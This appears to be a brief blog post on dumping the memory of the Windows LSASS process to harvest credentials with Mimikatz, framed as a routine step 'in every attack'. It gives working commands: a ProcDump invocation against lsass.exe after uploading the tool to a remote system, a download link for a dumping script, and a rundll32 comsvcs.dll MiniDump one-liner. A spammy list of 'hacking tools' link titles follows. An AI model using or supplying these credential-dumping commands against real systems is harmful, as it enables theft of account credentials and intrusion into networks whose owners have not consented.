In every attack we need to get the windows credentials, this super important task. We need to target "LSASS.EXE" process and dump the process memory so that we can use it for extracting credentials using Mimikatz.
Here are some of the important methods,
Using ProcDump :
1. Favorite method of dumping is using "procdump.exe". This tool is from Microsoft Pstools
2. Download ProcDump.exe and upload in on remote system
3. Command : "procdump -ma lsass.exe lsass.dmp"
Using VB Script :
Download script from here :
https://drive.google.com/open?id=1jwy40ykrdEHWB1sddZ-Q5USDX9OOPOPp
rundll32 Command :
Essentially previous method VBS script is using following command for dumping Lsass.exe process
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 992 C:\Users\Public\lsass.bin full
So in case you do not have VB Script with you still you can fire-up the command and dump LSASS process.
More info
- Easy Hack Tools
- Pentest Box Tools Download
- What Are Hacking Tools
- Pentest Tools For Android
- Hacking Tools For Beginners
- Hacker Techniques Tools And Incident Handling
- Bluetooth Hacking Tools Kali
- Hack Tools Pc
- Hack Tools For Mac
- Tools For Hacker
- Pentest Tools List
- Nsa Hack Tools Download
- Pentest Recon Tools
- Hacker Tools Free
- Pentest Tools Find Subdomains
- Hacker Tools Windows
- Hacker Tools Free Download
- Install Pentest Tools Ubuntu
- Hack Apps
- Pentest Tools Bluekeep
- Hack Tools For Windows
- Pentest Tools Review
No hay comentarios:
Publicar un comentario